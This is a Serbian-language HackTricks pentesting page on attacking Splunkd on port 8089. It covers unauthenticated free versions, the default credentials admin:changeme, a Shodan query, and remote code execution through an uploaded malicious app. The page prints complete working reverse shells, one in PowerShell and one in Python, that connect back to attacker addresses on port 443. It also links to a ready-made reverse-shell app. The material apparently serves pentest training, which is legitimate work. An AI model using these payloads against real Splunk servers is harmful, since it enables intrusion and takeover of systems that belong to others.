# 8089 - Pentesting Splunkd {{#include ../banners/hacktricks-training.md}} ## **Osnovne Informacije** - Alat za analizu logova koji se koristi za prikupljanje podataka, analizu i vizualizaciju - Često se koristi u bezbednosnom nadzoru i poslovnoj analitici - Podrazumevani portovi: - Web server: 8000 - Splunkd usluga: 8089 ### Vektori Ranljivosti: 1. Iskorišćavanje Besplatne Verzije - Probna verzija se automatski pretvara u besplatnu verziju nakon 60 dana - Besplatna verzija nema autentifikaciju - Potencijalni bezbednosni rizik ako se ne upravlja - Administratori mogu zanemariti bezbednosne implikacije 2. Slabosti Akreditiva - Starije verzije: Podrazumevani akreditivi `admin:changeme` - Novije verzije: Akreditivi postavljeni tokom instalacije - Potencijal za korišćenje slabih lozinki (npr., `admin`, `Welcome`, `Password123`) 3. Mogućnosti Daljinskog Izvršavanja Koda - Više metoda izvršavanja koda: - Server-side Django aplikacije - REST endpointi - Skriptovani unosi - Skripte za upozorenje - Podrška za više platformi (Windows/Linux) - Skriptovani unosi mogu da se izvršavaju: - Bash skripte - PowerShell skripte - Batch skripte Ključni Potencijal Iskorišćavanja: - Skladištenje osetljivih podataka - Nedostatak autentifikacije u besplatnoj verziji - Više vektora za potencijalno daljinsko izvršavanje koda - Mogućnost korišćenja skriptovanih unosa za kompromitovanje sistema ### Shodan - `Splunk build` ## RCE ### Kreirajte Prilagođenu Aplikaciju Splunk nudi sofisticiranu metodu za daljinsko izvršavanje koda kroz implementaciju prilagođene aplikacije, koristeći svoje mogućnosti skriptovanja na više platformi. Osnovna tehnika iskorišćavanja se vrti oko kreiranja zlonamerne aplikacije koja može izvršavati reverzne shelove na Windows i Linux sistemima. Prilagođena aplikacija može da izvršava **Python, Batch, Bash ili PowerShell skripte**. Štaviše, **Splunk dolazi sa instaliranim Python-om**, tako da čak i na **Windows** sistemima možete izvršavati python kod. Možete koristiti [**ovaj**](https://github.com/0xjpuff/reverse_shell_splunk) primer sa **`bin`** koji sadrži primer za [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) i [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Ili možete kreirati svoj. Proces iskorišćavanja prati doslednu metodologiju širom platformi: ``` splunk_shell/ ├── bin (reverse shell scripts) └── default (inputs.conf configuration) ``` Kritična konfiguraciona datoteka `inputs.conf` omogućava skriptu na sledeći način: - Postavljanjem `disabled = 0` - Konfigurišući interval izvršenja od 10 sekundi - Definišući tip izvora skripte Implementacija je jednostavna: 1. Kreirajte paket zlonamerne aplikacije 2. Postavite slušalicu (Netcat/socat) na napadačkom računaru 3. Otpremite aplikaciju putem Splunk-ovog interfejsa 4. Pokrenite automatsko izvršavanje skripte prilikom otpremanja Primer Windows PowerShell reverz shell-a: ```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() }; $client.Close() ``` Primer Linux Python reverz shell-a: ```python import sys, socket, os, pty ip = "10.10.14.15" port = "443" s = socket.socket() s.connect((ip, int(port))) [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)] pty.spawn('/bin/bash') ``` ### RCE & Privilege Escalation Na sledećoj stranici možete pronaći objašnjenje kako se ova usluga može zloupotrebiti za eskalaciju privilegija i dobijanje postojanosti: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md {{#endref}} ## References - [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213) {{#include ../banners/hacktricks-training.md}}